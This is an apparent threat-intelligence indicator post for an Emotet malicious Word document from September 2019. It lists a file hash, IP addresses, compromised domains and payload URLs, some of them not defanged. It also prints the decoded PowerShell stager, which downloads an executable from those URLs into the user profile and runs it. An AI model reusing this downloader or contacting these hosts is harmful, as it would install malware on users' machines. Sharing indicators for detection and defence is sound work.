Emotet_Doc_out_2019-09-26_12_25.txt

#Emotet #Docs #malware #OSINT #IOC

MD5:
cdf406976d2e6c1e011078a5991ec178


IPs:
213.190.6.4
3.83.101.55
47.94.209.126
94.73.147.19


Domains:
barabooseniorhigh.com
bloodybits.com
www.bilgiegitimonline.com
www.majoristanbul.com
www.yanjiaozhan.com


URLs:
hxxp://www.bilgiegitimonline.com/wp-admin/mXWp/
https://www.yanjiaozhan.com/wp-includes/ug7/
hxxp://barabooseniorhigh.com/En/JHS/
http://www.majoristanbul.com/cgi-bin/1OF/
hxxp://bloodybits.com/edwinjefferson.com/jx7/


Decoded Base64 Powershell:
$YAZcCZB=('mw1UAC');
$tAAGAC=&('new-object') Net.WebClient;
$oQwcAD=('
hxxp://www.bilgiegitimonline.com/wp-admin/mXWp/
https://www.yanjiaozhan.com/wp-includes/ug7/
hxxp://barabooseniorhigh.com/En/JHS/
http://www.majoristanbul.com/cgi-bin/1OF/
hxxp://bloodybits.com/edwinjefferson.com/jx7/
').('Split').Invoke('');
$coZAAAwA=('aZZUCAAA');
$zBABDU4A = ('849');
$XDAAAA=('HcoAUAAQ');
$OUBA4U=$env:userprofile+'\'+$zBABDU4A+('.exe');
foreach($dXcAxAQ in $oQwcAD){try{$tAAGAC.('DownloadFile').Invoke($dXcAxAQ, $OUBA4U);
$DAGUUAU=('OQCBkkG');
If ((.('Get-Item') $OUBA4U)."Leng`TH" -ge 40000) {&('Invoke-Item') $OUBA4U;
$RABcU4DA=('pAxCZU');
break;
}}catch{}}$hAUDDA=('IXkQ1x');